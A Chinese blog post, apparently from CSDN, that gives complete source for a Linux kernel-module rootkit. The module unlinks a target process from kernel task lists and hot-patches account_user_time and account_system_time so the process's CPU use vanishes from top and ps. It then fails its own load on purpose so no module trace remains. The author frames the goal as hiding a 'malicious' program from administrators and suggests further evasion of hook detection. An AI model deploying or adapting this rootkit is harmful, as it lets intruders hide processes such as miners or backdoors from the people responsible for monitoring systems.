最近写了一篇隐藏Linux进程的文章:
https://blog.csdn.net/dog250/article/details/105270500
上文和本文的声明: 有ROOT权限!有ROOT权限!有ROOT权限!
也许你会说,有ROOT还有啥干不了的啊!
哈哈,大部分人有ROOT依然也啥也干不了。至少,本文能让你学点手艺也不错。
感觉这个还是比较好玩的,简单直接磊落,没有那么多花活儿,寥寥几行代码,干干净净,同样在ROOT权限下,这个方案绝对是任何用户态PRELOAD库,hook procfs等方案的降维打击!这些库方案都太复杂了,没有编程功底搞不定的,像我这种不怎么会编程的,肯定玩不转。
但上文中的内核方案依然还是比较朴素,还是容易被经理抓到。
虽然ps看不到隐藏的进程,但是top中的CPU汇总还是有的啊。比如说,我隐藏了执行死循环的loop进程,但是top是这样子的:
Tasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie
%Cpu0 : 0.0 us, 0.3 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu1 :100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu2 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu3 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1016488 total, 702116 free, 99332 used, 215040 buff/cache
KiB Swap: 2097148 total, 2097148 free, 0 used. 770848 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1363 root 20 0 0 0 0 S 0.3 0.0 0:00.07 kworker/0:3
1 root 20 0 125360 3800 2496 S 0.0 0.4 0:00.79 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd/0
虽然看不到loop进程,但是CPU1的100.0 us还是真真切切的,经理肯定会注意到的…
所以说,需要hook住account_user_time这个函数,stub函数中加入下面的逻辑:
static unsigned int pid = 0;
module_param(pid, int, 0444);
void stub_func(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
if (p->pid == pid) {
// 如果pid是我们要隐藏的,skip掉account_user_time的堆栈。
// 直接返回account_user_time的调用者。
asm ("pop %rbp; pop %r11; retq;");
}
// 如果pid不是我们要隐藏的,就直接返回原始的account_user_time函数。
}
此外,还有一个问题,我们实现进程隐藏的内核模块必须是oneshot的,必须干完就走。它不能一直驻留在系统中,否则经理肯定会查到有一个奇怪的内核模块。
也就是说,模块的init函数必须返回非0!这意味着模块的内核也会被释放,所以我们的stub函数需要额外的申请内存,且该内存还必须在account_user_time函数可以32位相对跳转的范围内。
嗯,嗯,嗯,貌似可以了,模块的init函数把事情做完后,事了拂衣去,不留身与名,空留一个stub_func来过滤account_user_time,不错,不错!
但是,且慢!
pid是个模块参数,当模块由于init函数返回非0而加载失败后,其实它的内存将会全部释放,包括pid参数,也就是说,stub_func中无法访问pid参数变量!因此,stub_func中的cmp指令比较必须采用立即数的方式,也就是说,我们需要通过模块的pid参数来校准这个stub_func中的cmp操作数。
好了,上代码了:
// hide_process.c
#include
#include
#include
#include
char *stub = NULL;
char *addr = NULL;
static unsigned int pid = 0;
module_param(pid, int, 0444);
// stub函数模版
void stub_func_template(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
// 先用0x11223344来占位,模块加载的时候通过pid参数来校准
if (p->pid == 0x11223344) {
asm ("pop %rbp; pop %r11; retq;");
}
}
#define FTRACE_SIZE 5
#define POKE_OFFSET 0
#define POKE_LENGTH 5
void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
unsigned long start, unsigned long end, gfp_t gfp_mask,
pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;
// 需要额外分配的stub函数
char *hide_account_user_time = NULL;
void hide_process(void)
{
struct task_struct *task = NULL;
struct pid_link *link = NULL;
struct hlist_node *node = NULL;
task = pid_task(find_vpid(pid), PIDTYPE_PID);
link = &task->pids[PIDTYPE_PID];
list_del_rcu(&task->tasks);
INIT_LIST_HEAD(&task->tasks);
node = &link->node;
hlist_del_rcu(node);
INIT_HLIST_NODE(node);
node->pprev = &node;
}
static int __init hotfix_init(void)
{
unsigned char jmp_call[POKE_LENGTH];
// 32位相对跳转偏移
s32 offset;
// 需要校准的pid指针位置。
unsigned int *ppid;
addr = (void *)kallsyms_lookup_name("account_user_time");
if (!addr) {
printk("一切还没有准备好!请先加载sample模块。\n");
return -1;
}
// 必须采用带range的内存分配函数,否则我们无法保证account_user_time可以32位相对跳转过来!
___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
printk("还没开始,就已经结束。");
return -1;
}
#define START _AC(0xffffffffa0000000, UL)
#define END _AC(0xffffffffff000000, UL)
// 为了可以在32位范围内相对跳转,必须在START后分配stub func内存
hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
-1, __builtin_return_address(0));
if (!hide_account_user_time) {
printk("很遗憾,内存不够了\n");
return -1;
}
// 把模版函数拷贝到真正的stub函数中
memcpy(hide_account_user_time, stub_func_template, 0x25);
// 校准pid立即数
ppid = (unsigned int *)&hide_account_user_time[12];
// 使用立即数来比较pid,不然模块释放掉以后pid参数将不再可读
*ppid = pid;
stub = (void *)hide_account_user_time;
offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);
jmp_call[0] = 0xe8;
(*(s32 *)(&jmp_call[1])) = offset;
get_online_cpus();
mutex_lock(_text_mutex);
_text_poke_smp(&addr[POKE_OFFSET], jmp_call, POKE_LENGTH);
mutex_unlock(_text_mutex);
put_online_cpus();
// 隐藏进程,将其从数据结构中摘除
hide_process();
// 事了拂衣去,不留痕迹
return -1;
}
static void __exit hotfix_exit(void)
{
// 事了拂衣去了,什么都没有留下,也不必再过问!
}
module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");
来吧!看个效果。
首先我们准备一个恶意的且消耗CPU的程序:
#include
int main()
{
while(1) {
// 暂且不打印,因为sys还没有hook
//printf("经理的皮鞋进水了,但是不会胖,如果胖了请打经理电话\n");
}
}
运行它,看top:
%Cpu0 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu1 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu2 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu3 :100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1016488 total, 727332 free, 96040 used, 193116 buff/cache
KiB Swap: 2097148 total, 2097148 free, 0 used. 775868 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1494 root 20 0 4212 356 280 R 100.0 0.0 0:10.15 loop
63 root 20 0 0 0 0 S 0.3 0.0 0:00.16 kworker/0:2
我们看到,loop进程的pid是1494,我们以它为参数,加载模块:
[root@localhost test]# insmod ../hide_process.ko pid=1494
再看top:
%Cpu0 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu1 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu2 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu3 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1016488 total, 726620 free, 96772 used, 193096 buff/cache
KiB Swap: 2097148 total, 2097148 free, 0 used. 775148 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1 root 20 0 190956 3836 2496 S 0.0 0.4 0:00.79 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd/0
干干净净的!经理会兴叹。
好了,效果已经演示过了,来说说这个程序的问题。
首先,由于stub函数hook后只是一个pid判断,所以它的效果就是只能隐藏一个进程的CPU利用情况。如果使用一个链表的话,就比较完美,然而用汇编操作链表会引入很长的篇幅,没有意思,会让人失去兴致。
此外,我这里仅仅是hook了account_user_time这么一个函数,其实在时钟tick的处理中,要想彻底隐藏某个进程不让其时间被记账,还需要hook别的几个函数,但同样,这会引入篇幅,不利于展示手艺。所以,这里同样不再赘述这方面的完整解。
再次,本文中我这个例子是事了拂衣去的效果,它的本意就是前脚跨出大门,后脚就不准备再跨进大门的,所以没有打印被隐藏进程的地址信息,因此也就很难将其恢复了。这里的考虑依然是怕经理发现,试问,被隐藏的进程地址信息打印到哪里呢?只要打印出来,就有可能被经理抓到把柄。
经理抓到的话,就会坠入唯心主义的深渊!我们不能犯形而上学的错误。
最后,由于我们hook了时间统计函数,有经验的人肯定会想到check这个函数有没有被hook,这么一下子顺藤摸瓜,直接就露馅了…所以说,本质的做法还是要在被隐藏进程的自身来做。比如寻找一个定时机制,偷偷插入不断递减被隐藏进程CPU使用计数器的逻辑。
嗯,在中间hook一个不熟知的函数,比在开头hook一个熟知的函数,要安全很多。
我做的这些其实就是一个rootkit,我这个rootkit和之前网上能找到的不同。事实上,我一开始并不知道我做的这个是一个rootkit,但从最终效果上看,它就是。
一般而言,所谓的rootkit都会做下面几件事:
但我这个不是如此的实现。我这个采用了完全不同的方法:
而且我这个最大的特点就是 超级简单!!
另外,我这种方法中,既然已经做到了包括CPU利用率的100%隐藏,你也就不必把server逻辑放在内核里面了,放在用户态即可,反正经理啥也看不到!哈哈哈!
如果你真的还是要在内核中放一个server,那就搞一个内核线程呗,隐藏的方法完全一样!
// hide_process.c
#include
#include
#include
#include
char *stub = NULL;
char *addr_user = NULL;
char *addr_sys = NULL;
static unsigned int pid = 0;
module_param(pid, int, 0444);
// stub函数模版
void stub_func_template(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
// 先用0x11223344来占位,模块加载的时候通过pid参数来校准
if (p->pid == 0x11223344) {
asm ("pop %rbp; pop %r11; retq;");
}
}
#define FTRACE_SIZE 5
#define POKE_OFFSET 0
#define POKE_LENGTH 5
void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
unsigned long start, unsigned long end, gfp_t gfp_mask,
pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;
// 需要额外分配的stub函数
char *hide_account_user_time = NULL;
void hide_process(void)
{
struct task_struct *task = NULL;
struct pid_link *link = NULL;
struct hlist_node *node = NULL;
task = pid_task(find_vpid(pid), PIDTYPE_PID);
link = &task->pids[PIDTYPE_PID];
list_del_rcu(&task->tasks);
INIT_LIST_HEAD(&task->tasks);
node = &link->node;
hlist_del_rcu(node);
INIT_HLIST_NODE(node);
node->pprev = &node;
}
static int __init hotfix_init(void)
{
unsigned char jmp_call[POKE_LENGTH];
// 32位相对跳转偏移
s32 offset;
// 需要校准的pid指针位置。
unsigned int *ppid;
addr_user = (void *)kallsyms_lookup_name("account_user_time");
addr_sys = (void *)kallsyms_lookup_name("account_system_time");
if (!addr_user || !addr_sys) {
printk("一切还没有准备好!请先加载sample模块。\n");
return -1;
}
// 必须采用带range的内存分配函数,否则我们无法保证account_user_time可以32位相对跳转过来!
___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
printk("还没开始,就已经结束。");
return -1;
}
#define START _AC(0xffffffffa0000000, UL)
#define END _AC(0xffffffffff000000, UL)
// 为了可以在32位范围内相对跳转,必须在START后分配stub func内存
hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
-1, __builtin_return_address(0));
if (!hide_account_user_time) {
printk("很遗憾,内存不够了\n");
return -1;
}
// 把模版函数拷贝到真正的stub函数中
memcpy(hide_account_user_time, stub_func_template, 0x25);
// 校准pid立即数
ppid = (unsigned int *)&hide_account_user_time[12];
// 使用立即数来比较pid,不然模块释放掉以后pid参数将不再可读
*ppid = pid;
stub = (void *)hide_account_user_time;
jmp_call[0] = 0xe8;
// hook掉user时间计数函数
offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);
(*(s32 *)(&jmp_call[1])) = offset;
get_online_cpus();
mutex_lock(_text_mutex);
_text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);
mutex_unlock(_text_mutex);
put_online_cpus();
// 同理hook掉sys时间计数函数
offset = (s32)((long)stub - (long)addr_sys - FTRACE_SIZE);
(*(s32 *)(&jmp_call[1])) = offset;
get_online_cpus();
mutex_lock(_text_mutex);
_text_poke_smp(&addr_sys[POKE_OFFSET], jmp_call, POKE_LENGTH);
mutex_unlock(_text_mutex);
put_online_cpus();
// 隐藏进程,将其从数据结构中摘除
hide_process();
// 事了拂衣去,不留痕迹
return -1;
}
static void __exit hotfix_exit(void)
{
// 事了拂衣去了,什么都没有留下,也不必再过问!
}
module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");
浙江温州皮鞋湿,下雨进水不会胖。